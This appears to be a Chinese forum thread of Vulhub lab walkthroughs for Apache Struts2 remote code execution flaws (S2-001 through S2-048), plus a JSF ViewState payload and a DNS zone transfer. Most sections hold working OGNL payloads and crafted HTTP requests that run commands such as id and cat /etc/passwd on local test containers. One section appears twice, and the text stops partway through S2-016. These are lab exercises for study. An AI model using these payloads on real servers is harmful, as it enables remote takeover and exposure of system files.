H4sIAAVGF18AA61WzW8bRRR/Yye2Y9zmo/lsaZvQlnxAd/PlJsURbT5Ia3BIhNNUwocwXk/sbde7293ZZINEb/wBCJX/AJBoOPRCqx6QKm4tFyQkUFEluHADDhUSFz7e7G5iKwnYLV1pd2bf17z35jdv3tYv0Ghb0HWFrlPJ4aomZVT9KitcpHYpy/j32ndv33g0dCwE4FrQWpEK+Hfn3r/x0Z3b42HkmxsJAGg5dx7EE0KrryhGWbIdXTKsokRNqpSY5FKN6pKqc2bpVJNcW+OKxC3qSsusbGqUMzuNY9PlxXv61s2xMETScGBV1QtM52865Tyz0nBwFRV0W2M8jXQ3B/HV/CZnilFgNodwLjeTg8iqolEbf9tyGeG2jMsW5VlBS2WgcVWnZYbMKl6WW6peRGbrquFw0+FLlmEyi6vCaKcvKGKXK/SUa4pY/8bHsbyF3/izp6NY/GFCJEzwQkgP5Wa2Hnf9EYkt/xiQI5/d/+vul8gehbNxCMMLUZiIwqkovEigxWaWSrUVZtmqoV9KzxEgrxM4MGvoNqc6X6Gawxo/7/3w8QePfnuVQGRK1VWOk/DA4AqBhlnMAoFm3Ebm52uZ5jWktGUMBc1SNI7/AbGBl1SbwKEsd/LLQU6X6KZm0AKBRFrXmeWljKFQMrNpG75zsunL2H5CLtBCkXH75D5WUgSavM1aM6wyAWsgg5iQERMyYkL2MSF7mJC3MSF7mJDnFhdSuX2ly1pF1vdHfZdZcjaYUo55u0j1gsaslEhJrGAoThnxQ+D0Ey2PqiXfDoY/8/+dIRB/zVWYKWh2FPoJfPJk+ajpQYGX5bnlhWlXtdNIotywaivVlUM1MCdw8DReEIgGuSQw/SwymTUcS2HzqoBxIkCgJA5pAuLwXBQGCIw9BWAJnK93RyxH52qZydN5GyGu8G1LBNq9YqEaFee903a2XsvblnbQQuB4jVhwi6YULSgFrZWq9pbvZBSGMGcoGPwT6BgYzOwRSyXgZTgdh5dAworBDUcp9cq8bKLXisJsOwbDWDSYyxQC/QN7i2e1SSyTQgVNjsKYMDmOVSzLqXJ1gZpB/amKamkDi83oxPBIMpmcnBgZGR8Zm0CNvkwNkRT0QQhrKPqF72FohAiOUVF7IebREA74FZeTjCPBsXHoNpBbnsgB/EY8ogwH8ZvwBaAZJnHE0gjtKCWUz+EbFrTdiuOeYq/PDBTFrAM6PT6BLuhGjR6c+z4Ks0cCs2mPuo/ZSc/skM/c1+zzcBQ1xOwYHMflKwvEYHAn6JPIEVLNn0KYZO6A3DbyBSQv3/IUz3hBESHR663fB604xpEVghPQAk3ONbiOtoB8u3NnHRF3VkcUuqLQHYWeeu+saz+rv06VL3Q/mzsrPG8Ye+6oUzXvKNSqp3ocJnCiDlMYegXwi/krTPn301/rBP8njkn9OJ7aheM2j3/I+7ZX7W6n2F2TQwMeK8vcIODa73mYOCr8dyUsyNLO1V3pztztblHELFlsTcOgJTzs7uZP/Q97v26ZfRACkgFS4rgdlewEknJaX8dNrS7mrom94qjoE7etUV03uCcjTe9M9yheuv97c8eD6x+HIJSBRJkJ4HhIw36tuapfw3KDXV0D3zSx42vd0w16y+9qbVGlMfrw3led73yDR2Me4mK75rHGG9h+NvGSxeySoRVcM+h2Exsx0fuK9HGIrSVpkp4ZnhQnJ+auWzUyCpXHNd1/AEKwhdeSCwAA
```

然后,我们提交表单并抓包,修改其中 javax.faces.ViewState 字段的值为上述 Payload(别忘了 URL 编码):

![image-20211118112433158](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211118112433158.png)



返回得到如下信息:

![image-20211118112401919](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211118112401919.png)

进入到docker容器中发现命令**touch /tmp/success**以及被执行:

![image-20211118113622834](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211118113622834.png)

```
docker-compose exec web bash
root@214879e82873:/usr/src# ls /tmp
hsperfdata_root  success
```

回复

使用道具 举报

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
 楼主| 发表于 2021-11-21 22:18:30 | 显示全部楼层
# S2-001 远程代码执行漏洞            

打开后是这样的一个登录界面:

![image-20211121221007579](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211121221007579.png)

```
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<p>link: <a href="https://struts.apache.org/docs/s2-001.html">https://struts.apache.org/docs/s2-001.html</a></p>

                       
<form id="login" name="login" onsubmit="return true;" action="/login.action;jsessionid=6283505D6F97595AFA49231ED29C82BE" method="post">
<table class="wwFormTable">
        <tr>
    <td class="tdLabel"><label for="login_username" class="label">username:</label></td>
    <td
><input type="text" name="username" value="" id="login_username"/>
</td>
</tr>

        <tr>
    <td class="tdLabel"><label for="login_password" class="label">password:</label></td>
    <td
><input type="text" name="password" value="" id="login_password"/>
</td>
</tr>

        <tr>
    <td colspan="2"><div align="right"><input type="submit" id="login_0" value="Submit"/>
</div></td>
</tr>

</table></form>

</body>
</html>
```

输入admin/admin后得到如下页面:

![image-20211121221147319](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211121221147319.png)

```
Hello admin
```

在密码那一栏中输入poc:

![image-20211121221254092](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211121221254092.png)

```
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
```

即可得到Tomcat的路径:

![image-20211121221306576](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211121221306576.png)

```
tomcatBinDir{/usr/local/tomcat}
```

在密码栏中输入:

```
%{
#req=@org.apache.struts2.ServletActionContext@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath('/')),
#response.flush(),
#response.close()
}

```

用于获取web路径,web路径如下:

![image-20211121221414790](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211121221414790.png)

```
/usr/local/tomcat/webapps/ROOT/
```

输入如下的exp,即可执行命令id:

```
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
```

![image-20211121221615080](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211121221615080.png)



执行任意命令时,如果所执行的命令需要组合,则将上述 payload 改为如下内容:

```
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
```

![image-20211121221730572](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211121221730572.png)

```
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false messagebus:x:104:107::/var/run/dbus:/bin/false
```

回复

使用道具 举报

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
 楼主| 发表于 2021-11-22 22:44:32 | 显示全部楼层
# S2-009 远程代码执行漏洞 (CVE-2011-3923)            

影响版本: 2.1.0 - 2.3.1.1



打开后是这样的一个目录页面:

![image-20211122173803532](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211122173803532.png)

访问地址:/showcase.action

得到控制器页面:

![image-20211122173943550](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211122173943550.png)



打开burpsuite抓包,并将数据包修改如下:

```
GET /ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true HTTP/1.1
Host: localhost:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close


```

![image-20211122174109568](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211122174109568.png)

进入到docker容器中发现,命令**touch /tmp/success**已经被执行:

![image-20211122174200202](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211122174200202.png)

```
docker-compose exec struts2 bash                                                                                                                                                                          1 ⨯
root@549ec22572be:/usr/local/tomcat# ls /tmp
hsperfdata_root  success

```

# DNS域传送漏洞            

在 Linux 下,我们可以使用 dig 命令来发送 dns 请求。比如,我们可以用 dig @127.0.0.1 www.vulhub.org 获取域名 www.vulhub.org 在目标 dns 服务器上的 A 记录:

![image-20211122170532620](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211122170532620.png)

```
dig @127.0.0.1 www.vulhub.org

; <<>> DiG 9.16.15-Debian <<>> @127.0.0.1 www.vulhub.org
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 1441
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 3

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.vulhub.org.                        IN      A

;; ANSWER SECTION:
www.vulhub.org.         3600    IN      A       10.1.1.1

;; AUTHORITY SECTION:
vulhub.org.             3600    IN      NS      ns2.vulhub.org.
vulhub.org.             3600    IN      NS      ns1.vulhub.org.

;; ADDITIONAL SECTION:
ns1.vulhub.org.         3600    IN      A       10.0.0.1
ns2.vulhub.org.         3600    IN      A       10.0.0.2

;; Query time: 0 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Mon Nov 22 04:05:09 EST 2021
;; MSG SIZE  rcvd: 127
```



发送 axfr 类型的 dns 请求:`dig @your-ip -t axfr vulhub.org`

![image-20211122170612111](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211122170612111.png)

```
dig @127.0.0.1 -t axfr vulhub.org

; <<>> DiG 9.16.15-Debian <<>> @127.0.0.1 -t axfr vulhub.org
; (1 server found)
;; global options: +cmd
vulhub.org.             3600    IN      SOA     ns.vulhub.org. sa.vulhub.org. 1 3600 600 86400 3600
vulhub.org.             3600    IN      NS      ns1.vulhub.org.
vulhub.org.             3600    IN      NS      ns2.vulhub.org.
admin.vulhub.org.       3600    IN      A       10.1.1.4
cdn.vulhub.org.         3600    IN      A       10.1.1.3
git.vulhub.org.         3600    IN      A       10.1.1.4
ns1.vulhub.org.         3600    IN      A       10.0.0.1
ns2.vulhub.org.         3600    IN      A       10.0.0.2
sa.vulhub.org.          3600    IN      A       10.1.1.2
static.vulhub.org.      3600    IN      CNAME   www.vulhub.org.
wap.vulhub.org.         3600    IN      CNAME   www.vulhub.org.
www.vulhub.org.         3600    IN      A       10.1.1.1
vulhub.org.             3600    IN      SOA     ns.vulhub.org. sa.vulhub.org. 1 3600 600 86400 3600
;; Query time: 0 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Mon Nov 22 04:06:03 EST 2021
;; XFR size: 13 records (messages 1, bytes 322)
```



可见,我获取到了 vulhub.org 的所有子域名记录,这里存在 DNS 域传送漏洞。

我们也可以用 nmap script 来扫描该漏洞:nmap --script dns-zone-transfer.nse --script-args "dns-zone-transfer.domain=vulhub.org" -Pn -p 53 your-ip

![image-20211122170658822](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211122170658822.png)

```
nmap --script dns-zone-transfer.nse --script-args "dns-zone-transfer.domain=vulhub.org" -Pn -p 53 127.0.0.1
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-22 04:06 EST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000050s latency).

PORT   STATE SERVICE
53/tcp open  domain
| dns-zone-transfer:
| vulhub.org.         SOA    ns.vulhub.org. sa.vulhub.org.
| vulhub.org.         NS     ns1.vulhub.org.
| vulhub.org.         NS     ns2.vulhub.org.
| admin.vulhub.org.   A      10.1.1.4
| cdn.vulhub.org.     A      10.1.1.3
| git.vulhub.org.     A      10.1.1.4
| ns1.vulhub.org.     A      10.0.0.1
| ns2.vulhub.org.     A      10.0.0.2
| sa.vulhub.org.      A      10.1.1.2
| static.vulhub.org.  CNAME  www.vulhub.org.
| wap.vulhub.org.     CNAME  www.vulhub.org.
| www.vulhub.org.     A      10.1.1.1
|_vulhub.org.         SOA    ns.vulhub.org. sa.vulhub.org.

Nmap done: 1 IP address (1 host up) scanned in 4.64 seconds
```

# S2-008 远程代码执行漏洞 (CVE-2012-0391)            

打开后是这样:

![image-20211122165219730](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211122165219730.png)

```
You are seeing this page because development mode is enabled. Development mode, or devMode, enables extra debugging behaviors and reports to assist developers. To disable this mode, set:

  struts.devMode=false

in your WEB-INF/classes/struts.properties file.
```

直接在URL中输入payload:

```
http://127.0.0.1:8080/S2-008/dev ... and&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue
```





---

也可以在抓包后,在数据包中添加如下参数:

```
name=
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{“id”})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}、
```

需要将payload进行URL加密

# S2-007 远程代码执行漏洞            

**影响版本: 2.0.0 - 2.2.3**



打开后是这样的登录界面:







这里给出绕过安全配置进行命令执行的 Payload(弹计算器,无法在本项目环境下运行):

```
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@java.lang.Runtime@getRuntime().exec("open /Applications/Calculator.app")) + '
```





执行任意代码的 EXP:

```
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
```

![image-20211122164651290](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211122164651290.png)

# S2-005 远程代码执行漏洞            

影响版本: 2.0.0 - 2.1.8.1



打开后是这样的一个选择语言是页面:

![image-20211122163111108](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211122163111108.png)



```
<html>
<head>
    <title>Struts is up and running ...</title>
</head>
<body>
<h2>Struts is up and running ...</h2>
<h3>Languages</h3>
<ul>
    <li>                     
        <a href="/example/HelloWorld.action?request_locale=en">English</a>
    </li>
    <li>                           
        <a href="/example/HelloWorld.action?request_locale=es">Espanol</a>
    </li>
</ul>
</body>
</html>
```

但是点了之后似乎只是URL发生了变化,页面并没有什么跳转。

用burpsuite抓包,并将数据包修改为如下exp:

> 无回显,空格用 `@`代替
>
> 网上一些 POC 放到 tomcat8 下会返回 400,研究了一下发现字符 `\`、`"` 不能直接放 path 里,需要 urlencode,编码以后再发送就好了。这个 POC 没回显。



```
GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 HTTP/1.1
Host: target:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36


```

![image-20211122163725346](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211122163725346.png)

在response中得到如下信息:

![image-20211122163816107](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211122163816107.png)

进入到docker容器中,使用命令:**ls  /tmp**查看,发现命令**touch /tmp/success** 已经成功执行:

```
docker-compose exec struts2 bash                                                                                                                                                                          1 ⨯
root@fb81cc926b03:/usr/local/tomcat# ls
LICENSE  NOTICE  RELEASE-NOTES  RUNNING.txt  bin  conf  include  lib  logs  native-jni-lib  temp  webapps  work
root@fb81cc926b03:/usr/local/tomcat# ls /tmp
hsperfdata_root  success

```

![image-20211122164045647](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211122164045647.png)

# S2-001 远程代码执行漏洞            

打开后是这样的一个登录界面:

![image-20211121221007579](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211121221007579.png)

```
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<p>link: <a href="https://struts.apache.org/docs/s2-001.html">https://struts.apache.org/docs/s2-001.html</a></p>

                       
<form id="login" name="login" onsubmit="return true;" action="/login.action;jsessionid=6283505D6F97595AFA49231ED29C82BE" method="post">
<table class="wwFormTable">
        <tr>
    <td class="tdLabel"><label for="login_username" class="label">username:</label></td>
    <td
><input type="text" name="username" value="" id="login_username"/>
</td>
</tr>

        <tr>
    <td class="tdLabel"><label for="login_password" class="label">password:</label></td>
    <td
><input type="text" name="password" value="" id="login_password"/>
</td>
</tr>

        <tr>
    <td colspan="2"><div align="right"><input type="submit" id="login_0" value="Submit"/>
</div></td>
</tr>

</table></form>

</body>
</html>
```

输入admin/admin后得到如下页面:

![image-20211121221147319](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211121221147319.png)

```
Hello admin
```

在密码那一栏中输入poc:

![image-20211121221254092](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211121221254092.png)

```
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
```

即可得到Tomcat的路径:

![image-20211121221306576](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211121221306576.png)

```
tomcatBinDir{/usr/local/tomcat}
```

在密码栏中输入:

```
%{
#req=@org.apache.struts2.ServletActionContext@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath('/')),
#response.flush(),
#response.close()
}

```

用于获取web路径,web路径如下:

![image-20211121221414790](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211121221414790.png)

```
/usr/local/tomcat/webapps/ROOT/
```

输入如下的exp,即可执行命令id:

```
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
```

![image-20211121221615080](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211121221615080.png)



执行任意命令时,如果所执行的命令需要组合,则将上述 payload 改为如下内容:

```
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
```

![image-20211121221730572](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211121221730572.png)

```
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false messagebus:x:104:107::/var/run/dbus:/bin/false
```



回复

使用道具 举报

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
 楼主| 发表于 2021-11-23 22:24:31 | 显示全部楼层
# S2-048 远程代码执行漏洞 (CVE-2017-9791)            

环境启动后,访问 `http://your-ip:8080/showcase/` 即可查看到 struts2 的测试页面:

![image-20211123221730841](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211123221730841.png)

访问 Integration/Struts 1 Integration:

![image-20211123221819222](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211123221819222.png)

触发 OGNL 表达式的位置是 `Gangster Name` 这个表单。

输入 `${233*233}` 即可查看执行结果(剩下两个表单随意填写):

![image-20211123221915758](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211123221915758.png)

借用 S2-045 的沙盒绕过方法,我改了一个 POC。将如下 POC 填入表单 Gengster Name 中,提交即可直接回显命令执行的结果:

```
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
```

![image-20211123222029464](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211123222029464.png)

在返回的信息中有如下信息:

```
Gangster uid=0(root) gid=0(root) groups=0(root) added successfully
```

你也可以直接用 s2-045 的 POC(你需要在 Burp 下进行测试):

```
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
```

![image-20211123222224676](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211123222224676.png)

得到如下信息:

```
HTTP/1.1 200
Date: Tue, 23 Nov 2021 14:22:10 GMT
Connection: close
Content-Length: 39

uid=0(root) gid=0(root) groups=0(root)
```

![image-20211123222248624](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211123222248624.png)

# S2-046 远程代码执行漏洞(CVE-2017-5638)            

影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10



---

打开后是这样的一个文件上传的页面:

![image-20211123213243719](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211123213243719.png)

```
<div class="container-fluid">
   <div class="row-fluid">
      <div class="span12">
         
         
         <form id="doUpload" name="doUpload" action="/doUpload.action" method="OST" enctype="multipart/form-data">
<table class="wwFormTable">
            <tr>
    <td class="tdLabel"><label for="doUpload_upload" class="label">File:</label></td>
    <td
><input type="file" name="upload" value="" id="doUpload_upload"/></td>
</tr>


            <tr>
    <td class="tdLabel"><label for="doUpload_caption" class="label">Caption:</label></td>
    <td
><input type="text" name="caption" value="" id="doUpload_caption"/></td>
</tr>


            <tr>
    <td colspan="2"><div align="right"><input type="submit" value="Submit" id="doUpload_0" class="btn btn-primary"/>
</div></td>
</tr>


         </table></form>
```

# S2-045 远程代码执行漏洞(CVE-2017-5638)            

影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

---



打开后是这样的一个文件上传的页面:

![image-20211123212814343](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211123212814343.png)

```
<div class="container-fluid">
   <div class="row-fluid">
      <div class="span12">
         
         
         <form id="doUpload" name="doUpload" action="/doUpload.action" method="OST" enctype="multipart/form-data">
<table class="wwFormTable">
            <tr>
    <td class="tdLabel"><label for="doUpload_upload" class="label">File:</label></td>
    <td
><input type="file" name="upload" value="" id="doUpload_upload"/></td>
</tr>


            <tr>
    <td class="tdLabel"><label for="doUpload_caption" class="label">Caption:</label></td>
    <td
><input type="text" name="caption" value="" id="doUpload_caption"/></td>
</tr>


            <tr>
    <td colspan="2"><div align="right"><input type="submit" value="Submit" id="doUpload_0" class="btn btn-primary"/>
</div></td>
</tr>


         </table></form>
```

直接发送如下数据包,可见 233*233 已成功执行:

```
POST / HTTP/1.1
Host: your-ip:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Length: 0
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data


```

![image-20211123213001939](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211123213001939.png)

在response中得到如下信息:

```
vulhub: 54289
```

![image-20211123213038502](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211123213038502.png)

# S2-016 远程代码执行漏洞 (CVE-2013-2251)            

影响版本: 2.0.0 - 2.3.15



---

打开后是这样的:

![image-20211123211253303](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211123211253303.png)

```
<html>
  <head>
    <title>Hello</title>
  </head>
  <body>
    <h1>Hello world</h1>
  </body>
</html>
```



在 struts2 中,DefaultActionMapper 类支持以”action:”、”redirect:”、”redirectAction:” 作为导航或是重定向前缀,但是这些前缀后面同时可以跟 OGNL 表达式,由于 struts2 没有对这些前缀做过滤,导致利用 OGNL 表达式调用 java 静态方法执行任意系统命令。

所以,访问

```
http://your-ip:8080/index.action?redirect:OGNL
```

表达式即可执行 OGNL 表达式。

执行命令:

```
